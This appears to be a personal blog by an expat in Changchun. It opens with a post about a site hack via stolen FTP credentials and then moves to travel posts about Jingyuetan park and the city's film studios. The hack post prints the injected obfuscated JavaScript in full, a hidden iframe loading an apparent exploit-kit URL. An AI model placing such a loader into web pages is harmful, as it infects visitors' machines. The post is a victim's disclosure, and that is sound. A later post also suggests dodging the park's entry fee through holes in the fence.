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Somehow my FTP password was hacked and this bit of JavaScript was inserted into all of the index.php files that run this site!

I found out through this email from Google – glad they told me as otherwise I may not have known!

Apparently this hack is a virus which uses stolen FTP password information then injects this bit of code to pages on the server without you realising it.  Where they got my password from I’m not sure, though I suspect it might have been my old work machine. 

This will cause someone who visits the site to run the script, where an exploit kit will test various exploits against the browser and various other installed applications.  Once there is a succcessfull infection various malware packages will be downloaded onto the machine.

According to here:

Once installed the malware, scours the machines stored  looking for stored FTP login credentials, then once such logins are found it sends this data to a server located in the Cayman Islands! Additionally, there is another component used, which acts as a script injector. This makes a call to a certain script on the server in the Cayman Islands, using domain goooodbill.cn This script gives the infected client a url in the format USERNAME: PASSWORD@FTP.ADDRESS.COM, the client then logs in to the given ftp site and modifies all index pages (asp,php,html) and injects the script. Once injected all visitors of the modified domain potentially become part of the infection network/cycle.

This is pretty sophisticated stuff and allows criminals to get access to lots and lots of machines and steal passwords/data that can be used in criminal activities i.e. emptying somebones bank account or stealing their identity.

One thing I find odd about this is that it goes through a Chinese domain called goooodbill.cn, which apparently was registered by a technology company in north east Xiaman.  Wonder if this really is from China as it looks to me like this domain has just been used  as a front – the name ‘MichellGregory’ looks fake to me! 

Domain Name: goooodbill.cn
ROID: 20090224s10001s39666572-cn
Domain Status: ok
Registrant Organization: DomainsReg
Registrant Name: MichellGregory
Administrative Email: 
Sponsoring Registrar: 厦门东南融通在线科技有限公司
Name Server:ns1.sikkaro.com
Name Server:ns2.sikkaro.com
Registration Date: 2009-02-24 08:41
Expiration Date: 2010-02-24 08:41

Here’s the full script if anyone’s interested

<script>var fr=unescape(‘%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%6f%70%73%6c%2e%63%6e%2f%66%6f%72%75%6d%2f%69%6e%64%65%78%2e%70%68%70%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e’ document.write(fr);</script>

Spent most of yesterday at Jingyuetan 净月潭 to checkout the place during the summer months. I’ve been there many times during the winter, to go skiing and do other winter activities but haven’t really been there during the summer. It’s totally different, completely unrecognisable from the winter when the lake is frozen over and covered in snow.
It’s a big place, too big really to explore on foot so hiring a bike is a must. For me, what I liked most about this place, is that first times in ages I was somewhere where I could see no other people, hear no traffic noise and not breath fumes! Well worth it if only for this.
You’re meant to pay to go in, but as some local friends told me, don’t do this. 30 yuan is a little expensive, It’s much easier to find a well trodden path and climb through one of the many holes in the fence.

In terms of scenery it’s nice but compared to other places I have been not so spectacular, It’s a little like a poor man’s Scottish loch. It is man made, and designated a national forest park, apparently the largest man made forest in Asia. I can believe this as it stretches as far as the eye can see but you can still see cranes and construction going on in the distance.
It may be considered a national park but that doesn’t mean people can’t build here, it just means they have to pay off more people, and so even here there is construction of real estate going on. I hope that as the city develops, this area isn’t destroyed or over commercialised – like the rest of Changchun.

There is one very strange looking tower perched on a hill in the park. It’s 11 floors high and looks like something out of star trek, very modern and alien looking – I was half expecting to see alien spaceships landing docking on the roof!
From here you can go to the top and get a very good vantage point over the lake and the city, cost 5 yuan but worth it.

What I like about China is that there are huge freedoms here to do what ever you please that do not exist in the UK, this may sound strange as many outside think China is not a free country. Compared to the UK, in terms of getting on with my life, doing what I want to do there is no contest. The state does not intervene with anything I do, It has a very hands off approach – Just don’t touch politics. On this strange tower there were a few people who climbed over a very low railing and were walking around the outside of the building. In the UK, if they fell and died, there would be all sorts of legal trouble – the owners of the building would prbably be liable despite the people clearly knowing what they were dong.

Here, the attitiude is more along the lines of using common sense. If you really want to risk your life, it’s your choice, If you hurt yourself it’s your fault for being idiots in the first place so don’t try and pin blame on somebody else!

The lake is much easier to get to than before, as that the light rail now goes all the way there. The whole Jingyue zone is being rapidly developed, It’s changed so much since the last time I was down there. The local govenment has made the area an economic development zone, which basically means there are tax incentives for things to relocate out there. There’s so much construction, especially of apartments and houses for the super well-off. Some really nice places, though to realistically live out here you’d need your own transport – especially during the winter as it’s a good 40 mins from the centre of town.

In common with other cities in China, many of the universities in Changchun have also relocated out of town (to jingyue) where there is more space and room for expansion. They’re trying to create a ‘college town’ where all of the unis are close to one another, the idea being they can create a good environment for academia- the downside being there’s nothing much to do in terms of entertainment and it’s so far from anywhere.

Added lots of new stuff to the photo gallery but you will have to quickly sign up to view them though – stops the spammers.

Had a busy few weeks and finally finished working last Sunday. I introduced the game Monopoly to the students and they loved it. Two of them even tried to buy it from me at the end of class! But I won’t sell, no way. You just can’t buy things like this in Changchun.

Took a trip down to the movie city (dian4 ying3 cheng2)on Red Flag Street the other day, if only to satisfy my own curiosity as I pass this place every day.

Well, I can tell you that a more appropriate translation would be ‘changchun film studios’ as that’s what it actually is! Just a large, red-brick glorified warehouse with a large statue of the Chairman outfront; nothing more to it.
The place is pretty old and dilapidated, a shadow of its former self, but nonetheless still quite an interesting place to visit – I managed to walk around the complex without
buying an entrance ticket (through luck more than judgment, I just happened to walk in the wrong way), and In hindsight i don’t think it’s worth an admission fee.

If you are interested in the history of Chinese film making, particularly some of the very early TV productions, then you may find this place a gold mine of information, but otherwise, miss it.

There is another place at the very edge if the city, with a similar name; Changchun Film Century City 长影世纪城 which is like a theme park based on films but It’s pretty expensive －　over 100元 each. Might go there next week.

Perhaps something more worth seeing is the collection of old aeroplanes and military hardware stored in the courtyard.

Most of it is left over from WW2 and is Japanese or Russian made, also there’s an old Chinese fighter jet rusting away in the car park!